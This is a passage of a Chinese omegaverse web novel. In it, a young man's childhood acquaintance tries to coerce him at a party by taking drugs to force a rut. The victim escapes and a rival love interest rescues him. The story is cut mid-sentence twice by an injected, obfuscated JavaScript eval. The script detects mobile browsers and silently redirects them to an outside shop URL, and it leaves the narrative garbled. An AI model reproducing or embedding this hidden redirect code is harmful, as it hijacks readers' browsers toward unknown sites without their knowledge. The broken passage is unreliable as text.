“联系?那倒是没有。以他的性格,怎么会主动来找一个恨不得这辈子再也看不到的人?” 江成文的语气轻飘飘的,还不等孟涣尔消化,紧接着又抛出一句:“话说你知道,谢逐扬为什么提前回国吗?” ——他居然连谢逐扬出国了这件事都知道。 而且能有为什么,难道不是因为谢逐扬他妈身体不好,所以才想赶紧读完回来? 孟涣尔越发的云里雾里。 他刚想应声,江成文道:“到了。” 孟涣尔扭过头,发现他们果然已经到了小区门口,于是和江成文说了谢谢。 江成文的脚步停住。 “你要是真想感谢我,跟我去参加晚上的派对吧,就当是我上次还有这次帮你的答谢。”江成文俊逸的脸上露出令人难以拒绝的笑容,“今天是我生日。” “……”孟涣尔的脸上露出为难的表情。 他大学前两年也经常参加派对,学院里的,学校里的,少爷小姐圈子里的,经常是滕亦然一个招呼,他俩就一起闷头往里冲。 但自己现在正被烦心事缠身,哪有那个心力去与陌生人社交。 可江成文拿自己帮过他两次作为筹码,又让拒绝变得有那么一丝不顺畅。 孟涣尔还在犹豫,就在这时,他的手机响了。 他拿起来,又是孟德泽的来电。 今天是周五,他该回老宅的日子,对方这通电话估计是来催他的。 孟涣尔顿时心生厌烦,毫不犹豫地点了挂断。 “怎么了?”江成文在旁边问,“是谁急着找你吗?” “没谁。”孟涣尔面不改色地将手机按灭,想到自己马上就要回去受到那些假惺惺的关照折磨,他忽然就改变了主意。 而且,江成文今天提到了谢逐扬…… 他停顿两秒,对江成文道:“反正我今晚没事,那就去你那吧。” - 江成文带他去的地方,竟然在一处高档别墅小区内部。 听对方说,这是家里为了让他适应在帝都的生活,给他置办的住处,孟涣尔难掩惊讶。 难道江成文的父母这些年撞到大运,突然发迹了?话说回来,他还不知道对方的父亲是做什么的呢。 孟涣尔问起时,对方只是神秘地笑着摇头。 江成文的生日派对差不多来了有二十来号人。 切蛋糕、许愿这类的流程倒是过得很快,江成文和一众来客打好招呼,便带孟涣尔上了二楼。 “怕你觉得没意思,下面人又多。这边有个影音室,你可以在这里看看电影。” 影音室的面积不大不小,一进门右手边就是一面嵌在墙里的巨大液晶显示屏,房间正中间放着三四个并排摆在一起的懒人沙发,为了模仿影院的感觉,没开灯,只有屏幕在发出幽幽的光。 江成文先让孟涣尔进去,自己在后边关了影音室的门。 孟涣尔听见动静回过头,江成文解释说:“等下他们要在下面玩游戏,太吵了。” 意识到什么,孟涣尔问:“就我们两个?” 江成文挑了挑眉:“你不是想知道我和谢逐扬的事吗?聊这种内容,也不好当着其他人的面吧?” 倒也是。孟涣尔便不说话了,在懒人沙发上坐下。 江成文也在他旁边落座,拿起遥控器,面对大屏幕道:“我记得你以前最爱看电影了,有部电影你看了好多遍,叫《完美世界》,我没说错吧?” 他将片子从影片库里调出来,仿佛很怀念般地对着孟涣尔说笑:“那时候你一看这部片子就哭,大家都说你好奇怪,明明知道会哭还看……” 被人提起往事有点尴尬,孟涣尔笑了笑,没有接话:“你之前说,谢逐扬提前回国是有原因的?是什么?” “……”江成文脸上的笑似乎淡了淡。 孟涣尔也意识到自己这个问题有些太着急了,但他还是没有把话收回去。 江成文叹了口气,转头看向前方的电视机屏幕。 沉默良久后,他突然开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590809|186861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “其实,当年我和我妈不是主动要走的,说是回去照顾老人,只是谢家明面上的说法,我们实际上是被赶走的。” 他的语气沉沉,说出来的话却让孟涣尔吃了一惊——惊讶于他这么快就进入正题。 “因为谢逐扬和他妈都接受不了,一个小三和他的孩子,能以这样的身份赖在家里。” 电视机上的画面滚动,连带着江成文脸上的光斑也一闪一闪,他原本文雅的眉眼在这种场景下显得有些阴冷。 话音落下,房间里瞬间变得死寂。 孟涣尔呼吸一窒,一下不知道该如何回应这冷不丁的剖白。 “所以……” “谢逐扬之所以提前回国,是因为他知道我也回来了。”江成文笑了声,“为了不让我们进谢家的门,他也真是甘愿自我牺牲,竟然能忍得了我们的父亲像安排种公配种一样打发他去那种毫无尊严的流水线相亲。” 孟涣尔蹙起眉。 “你说这人有多过分?同样都是一个爹生的儿子,就因为他是先来的那个,就可以随意地对我们呼来喝去。他让我们以后不准再踏入北京一步,我就必须要照做,可是我做错了什么呢?我那个时候也只是一个孩子,我没法选择自己的出生——” 江成文正激情昂扬地说着。 孟涣尔突然反问他:“那你知情吗?” “……什么?”江成文挑了挑眉。 “待在谢家的那段时间里,你对自己的身份知情吗?谢逐扬把你当朋友看待,阿姨送你生日礼物——他们对你好的时候,你有感到过那么一星半点的抱歉吗,还是也像现在这样,只是怨恨别人拥有了你没有的东西?” 江成文的脸色渐渐阴沉下来,孟涣尔像是没有看到。 对方不说话,他就知道自己说中了,也瞬间明白了心中隐约感到的不适从何而来。 “对于被蒙在鼓里的原配和原配的小孩要求包容,这是不公平的。你不去怪导致这一切的罪魁祸首,却怪谢逐扬和他妈不敞开心胸接纳你们,你不觉得自己选错了方向吗?” 孟涣尔不解,江成文此举的目的是什么? 难道对方觉得他说这些,就可以让自己倒戈,觉得谢逐扬是个阻止小蝌蚪找爸爸的十恶不赦的大坏蛋? 不知怎么,他总感觉自己自从进入这房间以来,就格外的有些心浮气躁,好像动物进入了不安全的领地,无法放松半分。 事情已经了解得差不多了,再待下去,可能会让人更加心情不快。 孟涣尔说了声“抱歉”,起身准备离开这里。 谁想江成文见他要走,紧跟着就追上来,赶在孟涣尔前面将房间的门按住,一只手同时紧紧抓住他的单侧手臂。 “你干什么!”孟涣尔吓了一大跳,立刻试图挣脱起来。然而江成文攥着他的手用力得让他发痛。 “愧疚?”江成文像是被他激怒了,冷笑一声道,“明明有亲生父亲却不能认,还要以一个下人孩子的身份待在谢家,忍气吞声地看别人脸色,你觉得我有选择的余地吗?难道那些人随便从指甲缝里抠出一点东西打发我,我都要感恩戴德?” “我只是想要我应该有的一切!凭什么他谢逐扬一生下来就风风光光什么都有,我妈也是那个男人的omega,我也是他的儿子,却要伏低做小,被人戳一辈子脊梁骨?!” 说到后面,江成文变得越来越激动。 孟涣尔被他的反应惊呆了,下一秒,紧随其后地提高音量道:“那你去问你爸要啊!!!跟我说什么?!” 这话说完,屋子里又是一片死寂。 忽然间,孟涣尔的鼻间飘来一阵奇异的香味。 这一刻他猛地意识到,房间里属于alpha的信息素气味正在无形间变得越来越浓郁。 孟涣尔一下炸起了毛,惊疑不定道:“你做了什么?” 16. 第 16 章 是易感期到了吗? “我提前快一个小时的时候吃了四颗催化剂。” 或许是他刚刚才惹他生气了,江成文阴沉沉地说。 “催化剂”是一种药物的代称。 这种药最初只是一款产自国外的营养补剂,作用是在短时间内大幅提升人的精力,副作用则是会影响人体内的激素水平,导致生理期提前。 后来渐渐的,也有一部分人借用它的漏洞,把它当做助兴的工具。一般只用吃两颗的剂量,他们会直接吃上四颗,确保“药效”一定会发挥。 他是故意的。 孟涣尔说不出话来。 来之前,孟涣尔不是没有想过,江成文这样接近自己,又频频提到谢逐扬,是不是别有目的。 但他怎么都觉得不至于。 要说江成文讨厌谢逐扬到想要报复,可自己也不是谢逐扬的什么人,正相反的,江成文和他们一块待过,就应当知道,他和谢逐扬见面十次,起码有七八次都会以斗嘴结束,可以说互为天敌。 反倒是江成文,孟涣尔和他一直相处得很平和。这人性格偏文静,和相对来说跋扈又咋咋呼呼的少爷们相比,总是显得沉稳内敛,和谁都起不了摩擦。 孟涣尔以前每次和谢逐扬吵了架,在江成文的面前抱怨,对方也总是微笑着一言不发。 这人就算真对谢逐扬有怒火,又何以烧到他的身上? 孟涣尔这样想着,才答应了江成文的邀请——他就是这种人,谢逐扬他们越是瞒着不想告诉他的,他就越要自己弄清楚。 没想到他漏掉一个最关键的消息,那就是,江成文是谢逐扬他爸和曾经的保姆的私生子。 视野里,江成文目光依旧黑沉地看着他:“我听说了,你要和谢家人结婚的消息。” “我知道你要结婚的那个人是谁。” 孟涣尔先是一愣,背后紧接着爬过一阵寒凉。 电光石火之间,对方的真实意图浮上水面。 江成文想让谢家认他,更想在谢家有一席之地,不知道从哪听说了孟涣尔是被选中的“替补”联姻人选,便想从他这里下手,不管谢家原本打算让谁跟孟涣尔结婚,今晚一过,剩下的人选也只有江成文。 孟涣尔内心猛然涌上一股呕吐的欲望。 他强行控制住自己的面部表情,不让对方看出自己隐隐的慌乱。一只手伸到腰间,捏住挂在牛仔裤腰带上的玩偶,悄悄默数。 一二三四—— 按到第四下的时候,江成文发现了他的动作,一下将他这条手臂也抓住,抬上来。 玩偶从掌心脱出,孟涣尔惊叫一声:“你放开!” 两人激烈地拉扯起来,歪扭的身形从门口又跌跌撞撞地返回到房屋中央,手机也因此掉在地上。 江成文的神情明显透出狂乱:“与其跟他结婚,你不如跟我。虽然这个方法是仓促了点,但时间太短了,我也只能这样。我会对你好的,我从小就喜欢你,对你用出这种办法也是逼不得已,你以后会明白我做出的决定有多正确,你会感谢我的!” “你他妈放屁!”孟涣尔气急败坏,难得说了脏话,“你就是看中谢家的钱,因为你要钱,就假装不知道真正让你变成这样的其实是那个男人,你不敢和他对峙,怕他随随便便一句话就把你们母子抛弃了,但你想要强碱omega的时候胆子比这大多了!” 或许是某几个字说得过于直白,江成文的动作顿了顿。 孟涣尔趁着他松懈的功夫急中生智,猛一个抬腿击向这人的两腿中间! 江成文闷哼一声,弯腰向着侧边栽倒,一只手却仍死命抓着他的手腕,将他带倒在地! 这关头,孟涣尔一下从腰间拔下玩偶,抵在江成文的身上—— “滋滋滋滋!” …… 同一时间,谢逐扬的手机屏幕亮了起来。 他侧头一看,发现是家族群里的消息,又伸手划掉了。 谢逐扬最近的心情不太妙。 谢家出了这么大的乱子,工作之余,他不仅要安慰婚姻出了问题的姐姐,因此而焦虑伤神的母亲,现在,需要操心的又多出了个孟涣尔。 这些天来,家里的人但凡看见他,都会表达几句劝慰。 然而在这一层层看似关心备至的担忧之下,有人忧愁,就也有人狂喜。 孟华翰和谢悦宜的婚事中断了,两家长辈提出的备用计划显出令人垂涎的可乘之机。 已经有对象的表弟虽然意志坚定,但架不住他父母过于上进,仍试图和谢老爷子“据理力争”,在掌家者面前狂上老大和他儿子的眼药。 大伯和大伯母仗着自己是受宠爱的长子长儿媳,也天天跑去长辈面前尽孝。 ——好像他们之间在共同竞争什么商品。 谢逐扬心里觉得厌烦,可是他作为家中的小辈,该以怎样的身份,什么样的方式,以及何种理由来阻止家里把孟涣尔指派给其他alpha的这一荒谬举动? 谢逐扬发觉自己没资格。 这天他下了班,从工作室里出来,心中想着孟涣尔的事,不知不觉将车开得很远。 等手机发出声音提醒他已经到达目的地时,谢逐扬这才发现,自己竟在出发前将导航的终点设置成了孟涣尔所住公寓的小区楼下。 来都来了,谢逐扬干脆将车停在路边,下了车,边呼吸新鲜空气,边给孟涣尔打了个电话。 但是连着打了两次,都没人接。 谢逐扬蹙了蹙眉,正打算离开,一转身,遇见了从小区人行通道中出来的滕亦然。 对方看到他,也愣了愣:“你是来找晃儿的吗?” 见到和孟涣尔有关的人,谢逐扬原本前行的脚步停了下来,顶着一张冷冷的帅脸说:“他人在吗?” “不在。”滕亦然说,“你来得太不巧了,晃儿遇见了一个以前认识的熟人,六点多的时候过来放了一下东西,就跟他一起走了,好像是说要去参加什么派对。” “什么熟人?” “呃,我也不认识。反正是一个alpha,晃儿说他们小时候一起玩过。” 谢逐扬慢慢拧起眉头。 “他去哪了你知道吗?” 滕亦然报了个高档别墅区的名字:“具体门牌号就不清楚了。你问这个干嘛呀,你是要去找他吗?哎……哎!” 滕亦然八卦地想从对方这里探听消息,然而谢逐扬在他报出地址的那一刻已经返身折回车里。 不出片刻,车驶出去。 开车的路上,谢逐扬又断续给孟涣尔打了两三个电话,还是无人接听。 临近一排红灯前,他蹙着眉地手撑下巴,胳膊肘侧靠在车窗上。 忽然间,摆在侧前方的手机响了起来。 来电人显示是孟涣尔。 谢逐扬接起电话就开始输出:“孟涣尔你长本事了是吧不接我电话?” 没人说话。 耳边只有一片嘈杂的噪音。 谢逐扬皱起眉:“喂?” 通话中的远处似乎传来磕碰声,还有什么人痛苦的呻/吟。 下一秒,电话被人挂断。 …… 江成文抽搐着倒在地上,翻着白眼不省人事。 孟涣尔跪在距离他两米远的地面上,单手撑地,因为屋内过浓的alpha气味而控制不住地干呕不停。 大脑昏沉沉的一片,身体明显受到信息素的影响,开始手脚发软,偏偏某些方面越发的灵敏起来,颈后的腺体热到在跳。 该死…… 孟涣尔转过身,去找自己摔落的手机。 先前和江成文搏斗的时候,他就看到掉在地板上的电子设备一直在亮。然而真到了近前,他整个人又晕得视线模糊,根本看不清上面的字。 管不了是谁打来的了,先离开要紧。 孟涣尔努力辨认着找到那枚红色的图标,手指在上面向右一滑,把关掉的手机塞进裤子口袋,借着旁边柜子的支撑站了起来。 正要往门口走,走廊上传来一众脚步声。 在挣扎中,孟涣尔碰倒了好几样房内的东西。下面的人似乎听到了楼上发出的动静,起码有三四个人结伴过来敲了敲门,说: “怎么回事?嘿,需要我们帮忙吗?” 孟涣尔从刚才起就变得有些混沌的思绪在这一瞬突然清醒过来。 不行,不能从这里走。 他对江成文这群朋友根本就不了解,万一他们早就和他串通好了怎么办? 而且外面的人里肯定也有不止一个alpha,自己这会儿出去,说不准会更危险。 孟涣尔回过头,看向房间另一侧被窗帘挡住的墙面,跌跌撞撞地跑过去,“哗!——”一声拉开遮盖物。 果然没猜错。观影室外面紧连的就是阳台,孟涣尔推开滑门,冲到最外围的栏杆边,深深呼吸了两口冷冽干净的新鲜空隙。 体内的热意因此被短暂驱散了半秒。 但他还需要更多。 孟涣尔低下头,发现这里正对着别墅侧方的游泳池。高档别墅的游泳到冬天也进行着正常维护,水面被庭院内的灯光照成透彻的浅蓝,反映出一楼落地窗里的灯影。 隔着空气,孟涣尔能听见下面一层的人的谈笑。 在这些声音中,他双手扶着栏杆,慢慢将一条腿跨过去踩在台边,然后是另一条腿。 高度让他产生晕眩,而身体的燥/热更让他想拥抱清凉。 “到底发生了什么……哎!你要干什么!” 房间里陡然传来人声,外面的家伙们进来了。 他们先是注意到地上的江成文,随后看到屋内的门窗大开,那个和江成文一块回来的omega竟爬到了阳台外面,当即叫喊起来。 他们的叫声反而成了孟涣尔的推动器。 孟涣尔回过头,看见那几个人朝自己走来,当即不再犹豫,手一松,捏住鼻子跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593988|186861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了水。 尖叫。 伴随着四溅起来的白色水花,平静的夜色被巨大的落水声所打破,正在一楼客厅里和朋友打闹玩笑的众人全部发出惊恐的呼声,还以为是谁坠楼了,纷纷放下手中的事情,跑到落地窗边观看着这惊魂一幕—— 却见那掉落下来的人很快浮起,从水中冒出了头。 孟涣尔猛地甩了甩头,用手抹去脸上的水分,辨认了下方向,丝毫不理会背后此起彼伏的惊呼,朝着泳池另一边游过去。 他的身形在水中起起伏伏,从屋中打在他身上的光影也明明灭灭,水体的折射让他晃动的身形像是一条冬夜里游动的人鱼,暴露在外的皮肤如同雪一样惨白。 随着皮肤被水浸润,孟涣尔的大脑愈发清明,手脚却变得不听使唤。 泳池内的水虽然常年恒温,但在夜晚只有十度的室外气温下,也说不上多么温暖。 孟涣尔禁不住打起寒颤。 他借着这股寒意平复体内的火苗,慢吞吞地、四肢近乎麻木地游到池边,双臂撑着台沿,几次想要翻身上去,几次又都打滑。 就在这时,别墅的围栏外滑过一辆黑色的车。 里面的人似乎看到了水中的孟涣尔,车辆一个急停,驾驶者很快从车上下来。 来人身上还穿着长款的黑色羊驼大衣,身手却十分矫捷,只见他来到围栏前,先是用眼神目测了一下高度,紧接着后退几步,隔着两三米远一个助跑,整个人便轻巧地攀了上来。 双臂撑杆,一个翻身,再一眨眼的功夫,人已来到栏杆的另一面,从高处跳了下来。 身型轻快得宛如猎豹。 别墅里面又是一阵惊叫。 不少人喊着“他是谁”,从房子内部走出来。 谢逐扬一点不受外界影响,眼皮也不抬一下地跳到地上,朝着池边的孟涣尔走来。 孟涣尔听到动静,慢半拍地抬头,那人已经来到跟前,露出一双黑色的裤管和鞋。 “手给我。” 谢逐扬的声音从头顶传来。声线冷硬得像是冬天的冰凌,好像暗蕴着怒气。 孟涣尔全身的细胞以及毛孔却都在这瞬间放松下来,知道自己安全了,于是冲那人伸出手臂。 谢逐扬掐着他的咯吱窝下,总算把这人湿淋淋地“拎”了上来。 孟涣尔在水里泡过,浑身衣服都湿得发沉,上岸后步伐不稳地踉跄两下,不受控制地靠在谢逐扬身前,将他的大衣上弄得全部是水。 孟涣尔的身上也全是浓冽的气泡水味。 谢逐扬见他这样,脸色顿时变得难看起来,上下打量了孟涣尔两眼,二话不说将外套脱下来披在他身上。 怀里的人瑟瑟发抖,不断地打着冷颤。 “他人呢?”谢逐扬问,好像两人都心知肚明对方指的是谁。 孟涣尔不知道谢逐扬是何意,但还是用颤抖的声线诚实地说:“在二楼。” 他实在没力气再去穿袖子,从正面把大衣披在体表,冻得直缩脖子。 谢逐扬跟着他的话向上一看,很快也瞧见那扇大敞的滑门,还有站在上面向下看着他们的、仿佛也一脸状况外的人。 他保持着这个抬头和对方对视的姿势,迈步似要向远处走。 孟涣尔瞬间吓了一跳,谢逐扬要干什么?那里面全是江成文的人。 他要去讨个说法也好,发难也罢,这帮人怎么可能同意? 他人还不适着,立刻伸手去拉对方的手臂,想也不想地道:“别留我一个人在这儿,我害怕。” “……” 谢逐扬侧过头看着他,眼睫似乎动了动。 张了张嘴,刚要说些什么,一阵尖锐的警笛声突然打破别墅区内原有的宁静。 那声音似从别墅另一头的道路上响彻过来,最后,停在了他们这个角度看不到的房屋门口。 孟涣尔这才反应过来,谢逐扬恐怕是收到消息提醒时就第一时间报了警。 但他怎么来得比警车还快一点?孟涣尔迷迷糊糊地想。 两人对视一眼,谢逐扬问:“还能走吗?” 孟涣尔想了想,从斜倚着他的姿势直立起来,往旁边迈了两步。 谢逐扬只瞥了一眼就看不下去,干脆一个弯腰搂住孟涣尔的大腿下端,将他打横抱起。 “!” “别乱动——你这样太慢了。”谢逐扬低声对他说。 孟涣尔身子骤然腾空,整个人顿时从头发丝僵硬到脚后跟。 靠得太近了。 他本就被江成文那个王八蛋不要钱的信息素熏得够呛,身体正是敏锐的时候。此刻被谢逐扬如此贴近地抱在怀里,孟涣尔的鼻尖都是一股不知怎么也变得稍稍浓郁起来的话梅甜味—— 意识到对方也受到自己外泄信息素的影响,他再次感到一阵轻微的慌乱与别扭。 谢逐扬似乎同样察觉到了这点,忽然间简洁中又带着点凶地闷声说:“把鼻子捂上。” 17. 第 17 章 孟涣尔不用他讲,自己本来也打算这么做。 太多人在看着他们,对着这两个奇怪的青年议论纷纷了。孟涣尔不愿被他们注视,揪起罩在身上的黑色长大衣,却没有像谢逐扬说的那样捂住鼻子,而是直接盖在自己的脑袋上,像个鸵鸟一样地装死。 “……” 谢逐扬很快把他带回了他开来的那部车上,打开副驾驶的座位,示意孟涣尔坐进去:“你等一下,车里有抑制剂。” 他同时开了车里的暖风和换气系统,自己返回到后备箱边。再回来时,手上除了药剂以外,还多了一瓶水、一条速干浴巾。 “我用过的,但是洗了,凑合用吧。” 孟涣尔这才想起谢逐扬的衣服还在他身上,连忙扯下来还给对方。 谢逐扬站在离他一米远的地方,看孟涣尔用了药,自己也吃了一颗口服的抑制剂。 随后说了句“你在这里待着”,关上车门,又钻进别墅里,去找赶来的警察。 紧贴在身上的衣服依然冷得让人发抖。 谢逐扬走后,孟涣尔又愣在座位上发了有快两分钟的呆,直到身上渐渐生出暖意,出离的灵魂终于回体,孟涣尔这才动起来,用谢逐扬给的浴巾慢慢擦拭衣服和头发上的水分。 做完这一切,他晕乎乎地把脑袋搁在车窗上,等着药效发挥。 不知道是抑制剂起了作用,正在他的体内和急剧起伏的激素对抗,还是因为在冬春之际的夜晚跳进游泳池里的缘故,孟涣尔整个人昏昏沉沉,十分的不好受。 大约五分钟后,谢逐扬折返回来。 他拉开主驾驶那边的门,边跨坐进来边说:“警察说可以自己开车过去,先送你去警局做笔录。冷吗?” 他这样问,语气却明显僵硬。 孟涣尔摇摇头。 谢逐扬侧过头打量了他一会儿。 孟涣尔被水泡过,浑身上下都散发着水的气息,完全浸湿的头发在擦拭后变成了一绺一绺,湿哒哒地垂在额前,衬得他肤色白得像纸,神色看起来有一点呆呆的,像还没从波折当中缓过来。 “他没对你做什么吧。” 谢逐扬突然伸手,用指尖轻轻碰了下孟涣尔的左侧额角,这里有一块微微红肿起来的、硬币大小的肌肤。 那冷静而审视的目光仿佛孟涣尔只要说个“有”字,谢逐扬就立刻要掂量着怎么把江成文给炒了。 孟涣尔“嘶”了一声。 被触及处传来的痛感提醒了他,青年慢吞吞地也跟着摸了一下那里,像是在回忆。 “没有,”他又摇头,“这个是不小心磕的。” 他那会人太晕了,从地上爬起来的时候还被意识尚且还算清晰的江成文抓住小腿绊了一下,额头刚好抵上柜子。 孟涣尔吓了一跳,回身又给了他一次电击。 谢逐扬没再说什么,“嘭”地关上车门。 这一下声音不小,仿佛碰撞里都夹带着隐隐的怒意。 那是孟涣尔很熟悉的,谢逐扬即将发作的征兆。 他知道对方多半是生气了。因为自己没听他的话。 外边的警车车灯一闪一闪,孟涣尔看见两个警察一左一右地架着依然手脚疲软、半晕厥过去的江成文上了车。 他将头撇过去。 谢逐扬将导航调至最近的警局地址,很快发动了汽车。 车辆滑行出去,车厢内像有阴云密布,萦绕着一阵从某人身上传来的低气压。 孟涣尔连呼吸都放轻了,生怕一不注意就触了谢逐扬的霉头,抓住他的把柄训诫起来。 然而天不遂人愿,大抵是刚在水池里泡过,紧接着又在车里吹暖气的缘故,一前一后的冷热刺激让孟涣尔的鼻子很快痒了起来。 他揉揉鼻尖,再揉揉鼻尖,闭紧眼睛又皱起鼻子,努力地想把那阵劲头给压下去。 最终还是失败了。 “啊、啊——啾!”再也不受控制地,孟涣尔的脑袋先是后仰,随后又猛然向前,打了个响亮的喷嚏。 他用手捂着鼻子,嗓子眼里含糊地咕哝了几声,说:“纸!” 谢逐扬头也不回地从旁边拎出一包抽纸扔给他。 孟涣尔接过,用力地擤起鼻涕。 得知孟涣尔人是安全的,也没被揩油,谢逐扬明显放心下来,在旁边不客气地点评道:“自作自受。” ……果然开始了。 孟涣尔感觉此刻的自己又疲倦,又虚弱,他枕着自己手臂,手臂又贴着窗,吸了吸鼻子闭上眼:“我已经够难受了,你就别说风凉话了。” 谢逐扬从鼻子里冷哼:“你还知道难受。是谁让你变成这样的?” “谢逐扬!”孟涣尔忽然来了火气,重新睁开眼,将手上的纸团掷到他身上。 “你嘴里就一句好听的都没有吗?” “好听的?”谢逐扬见他这样,也跟着冷笑一声,像刚才还一直压制着的情绪终于压不住了,“我该和你说什么?我说了你听吗?” 他目视前方地开着车,每一个字都加重: “我有没有和你说过,让你离江成文远一点。结果你是怎么做的?为什么和你说了那么多次你永远不长记性?” “我又不知道你和他的那些破事!怎么知道事情严重性?”孟涣尔忍不住从座位上坐直起来,“你什么都不和我说,我不能好奇不能在意吗?我听他说起你,不能想要打听吗?我都是因为谁?” 谢逐扬对此的回应是:“谁要你在意了?” 他转过头,一字一句:“我需要你为了我打听吗?孟涣尔你能不能别这么自以为是。还有,你都多大了,还以为自己活在真空世界,全世界都是好人吗?” “你自己出去打听打听,有几个omega会缺心眼到根本不知道对面有什么人就大晚上去别人家。都这个时候了还到处乱跑,你很闲吗?能不能分清事情轻重,有点紧迫感——还是你也觉得你家里让你结婚这件事无所谓?” 孟涣尔没想到他竟然会倒打一耙。 先是一愣,随即也怒了。 “你少在那假好心!” 咣当一声,先前一直放在大腿中央的矿泉水瓶掉在地上。 “说我无所谓,你又做什么了,不还是看我笑话吗?别以为我不知道你在想什么,你就是盼着我早点倒霉,随便和什么垃圾alpha结婚从你的世界里消失你就解脱了!” 酸意猛然涌上鼻腔。 孟涣尔的声音越说越高,讲着讲着,眼泪竟从眼眶里滚落。 这件事情发生到现在,孟涣尔的脑子大部分时间是懵的。 直至上车之前,他都没什么特别的感觉。 此刻被谢逐扬这么一刺激,情绪加倍反噬翻涌,顷刻如疯涨的潮水一般漫过胸膛,再然后是喉管和鼻腔,浓重得让人哽咽。 等他意识到自己居然落泪了的时候,已是羞得没法见人。 孟涣尔慌乱地转头面向车窗,不想让谢逐扬看到他现在的表情,同时猛地一咬下唇,大声喊道:“停车!!!我要下去!” 他抓住车门的拉手,用力地摇晃了两下以示抗议。 “……” 谢逐扬起先没理。 他显然也没料到孟涣尔会哭,侧面的下颌线紧绷着,无法处理他这些泪水似的将目光弹开,强迫自己的视线继续看路。 孟涣尔越发的恼羞成怒,认为谢逐扬是在挑衅和无视他,开始在车里搞起破坏。 他一脚踹在副驾驶前面的空地上,发出“咚”的一声。踹完还不解气,又接连补了两三脚,以为这样谢逐扬就会因为看不惯他毁坏个人财产而放他下去。 见对方始终不回应,孟涣尔一把扯下身上披着的浴巾,扔在谢逐扬身上。 “你听到我说话没有?谢逐扬!” 他忽然扑上去,争抢谢逐扬手里的方向盘。 谢逐扬惊了,赶在对方得逞前将车在路边来了个急刹。 Alpha终于有了反应,猛地回头看向他道:“孟涣尔你有病吧?!不想活了直说——” 一个“说”字的音节没吐完,谢逐扬怔住了。 让他的话音戛然而止的是孟涣尔的泪。 对方的胸膛一抽一抽的,不知道什么时候开始,整张脸上淌满了泪。 见到谢逐扬在看他,他立刻闭上了眼,扭过头。 感觉自己已经在谢逐扬面前丢脸丢到了老家,没一会儿,又继续泄愤似的在车里搞破坏,捡起掉在脚边的矿泉水瓶,砸在中控台旁边的空地上。 他不再提出想要下车,只是一边发泄,一边接着流泪。 谢逐扬无言地坐在车里,给他随意宣泄的空间。 直到几分钟过去,对方仍然没停。 那哭声弄得谢逐扬心烦意乱。 “别哭了。” 感觉时间好像过了半个世纪那么漫长,谢逐扬看了眼窗外说。 孟涣尔没理他。 “我说别哭了。” “……喂!——” 冷不防地,谢逐扬像是某种情绪忍耐到了极限。他一下抓住孟涣尔正在空中抬起的手臂——先是一只,再是两只。孟涣尔被他控制,下意识地挣扎,谢逐扬干脆将他带进怀里,不再让他乱动。 如此毫无间隔的近距离接触,让孟涣尔吓了一跳。短暂的惊愕后,他迅速反应过来,在谢逐扬的臂弯当中鱼一样地扭。 谢逐扬挨了他几记肘击,鼻腔里发出浅浅的闷哼。却不给他逃开的机会,抱得越来越紧,一只手掌也搭上了对方的后脑勺。 他闭着眼,忽然很深,也很轻地叹了口气。 “对不起。我不该那么说你。” 孟涣尔的下巴搭在谢逐扬的肩膀上,双臂还屈起着收在两人的上身中间,闻言顿时泪如雨下。 他终于停止挣扎。 “凭什么你让我离谁远点我就远点,你让我和谁好我就和谁好……一句解释都不说,还要对我冷嘲热讽,你以为你是谁……你算老几啊你……” 谢逐扬不说话,只沉默地将他扣在怀里。 孟涣尔抽抽噎噎,呼吸急促得像喘不上气,说完那些话就闭上眼。细细的睫毛湿漉漉地沾在下眼睑上,眼泪流个不停。 就连他自己都不知道自己到底在哭什么。 或许是今晚的事确实有点吓到他了,或许是谢逐扬事后对他的“责怪”让他感到很恼火,或许这段时间来的他本来就很委屈,又无助。 前前后后无数件事,连带着这些天所感受到的压力全在同一时间爆发开来,像经过剧烈摇晃后猝然开盖的碳酸饮料,连开启他的人都没反应过来发生了什么,那些浓密的、情绪化的、带着酸涩辛辣气味的泡沫就像山洪一样爆发了。 对啊。谢逐扬忽然想起来,孟涣尔本来就是气泡水。 这个人哭的时候,他的身遭也泛着一股淡淡的苦味。 经过药剂的抑制后,若有似无地萦绕在青年鼻间。 记忆里,孟涣尔已经很久没在他面前这么狼狈过了。 透过他朦胧的泪光,谢逐扬忽然想起,那也是个和今天差不多的夜晚,但是在夏夜。 孟涣尔小学一年级的那次出逃,让所有人都意识到此子是个不容小觑的混世魔王。 从那以后,两家佣人对这方面的看管明显变得严格,有很长一段时间里,孟涣尔都没再溜出去过。 直到他升上三年级的某一天。 孟涣尔来他家写作业,被谢逐扬无意间看到他手机上的打车界面。 这么晚,对方要去哪? 难道是孟涣尔最近在网上认识了什么网友?该不会是恋/童癖吧? 谢逐扬脑子里迅速转过一圈念头。 过了一会儿,孟涣尔说自己作业都写完了,要回孟家。 谢逐扬没信他的话,悄悄跟在孟涣尔身后下楼,果然发现孟涣尔上了一辆网约车。 对方一走,谢逐扬立刻把家里的司机叫了出来,追着网约车,到了一处私家宅院外面。里面像是在举办什么宴会之类的活动,来往的宾客络绎不绝,身上都穿着华服。 谢逐扬看见孟涣尔从车上下来,在大门口外观察了一阵,突然间找准了空子,从两名嘉宾的缝隙间钻了进去。 客人捂着裙摆发出惊呼:“这谁家小孩?” 站在门口的礼宾亦是一脸震惊。 